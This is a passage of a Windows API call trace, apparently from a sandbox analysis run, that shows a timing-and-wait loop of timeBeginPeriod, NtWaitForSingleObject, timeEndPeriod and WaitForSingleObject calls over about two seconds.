	[0078.875] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.876] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.876] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.877] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.877] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.895] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.895] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.900] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.900] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.925] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.928] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.930] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.936] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.938] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.956] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0078.956] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0078.961] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0078.961] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.991] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.991] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0078.999] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.001] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.020] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.020] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.024] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.024] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.038] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.054] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.054] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.063] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.063] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.063] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.065] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.065] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.085] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.085] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.089] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.089] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.165] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.170] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.177] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.179] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.179] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.180] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.181] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.199] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.199] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.203] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.203] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.230] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.237] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.238] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.238] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.239] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.257] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.257] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.262] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.289] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.305] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.348] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.350] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.350] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.355] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.355] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.368] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.403] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.410] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.412] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.431] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.431] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.435] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.435] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.462] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.469] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.470] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.470] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.472] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.472] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.474] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.497] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.498] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.498] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.500] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.500] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.524] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.532] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.551] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.551] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.555] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.556] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.580] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.588] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.590] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.609] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.609] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.614] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.614] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.640] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.647] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.648] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.648] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.650] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.650] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.668] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.668] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.673] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.673] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.686] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.700] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.701] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.706] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.708] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.727] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.727] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.732] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.732] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.756] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.762] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.763] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.763] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.765] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.765] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.783] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.783] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.788] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.788] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.796] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.820] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.826] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.827] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.827] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.828] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.828] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.848] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.848] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.853] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.853] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.880] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.887] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.889] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.901] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.912] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.914] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.914] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.915] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.915] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.916] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.916] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.917] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.917] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.939] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.946] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.948] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.967] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.967] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0079.972] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.972] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0079.999] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.002] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.003] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.006] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.012] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.012] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.013] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.013] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.037] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.037] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.039] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.039] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.062] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.063] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.069] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.071] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.091] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.091] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.098] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.098] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.122] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.140] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.145] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.146] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.146] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.148] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.148] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.166] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.166] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.170] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.170] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.195] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.202] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.204] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.222] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.222] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.227] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.227] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.253] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.256] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.257] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.261] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.262] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.262] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.264] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.264] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.281] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.281] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.286] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.286] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.328] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.328] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.339] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.343] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.361] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.366] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.369] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.369] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.369] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.369] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.370] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.370] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.371] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.371] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.394] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.402] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.405] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.424] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.424] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.428] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.428] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.455] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.460] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.461] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.461] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.463] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.463] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.479] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.511] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.518] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.518] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.518] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.519] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.519] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.538] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.538] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.607] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.607] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.618] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.641] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.641] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.652] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.657] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.657] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.658] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.658] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.676] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.676] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.681] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.681] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.707] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.711] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.715] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.717] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.719] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.720] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.722] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.722] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.728] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.729] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.729] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.730] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.730] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.748] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.748] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.753] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.753] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.766] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.782] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.783] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.783] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.784] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.784] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.802] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.802] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.807] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.807] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.832] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.839] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.859] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.859] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.863] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.863] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.876] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.894] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.894] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.895] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.896] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.897] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.901] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.901] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.908] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.909] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.909] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.910] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.910] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.928] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.928] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.933] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.933] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.956] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.963] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.964] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0080.982] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0080.983] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0080.987] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0080.987] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.013] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.016] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.017] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
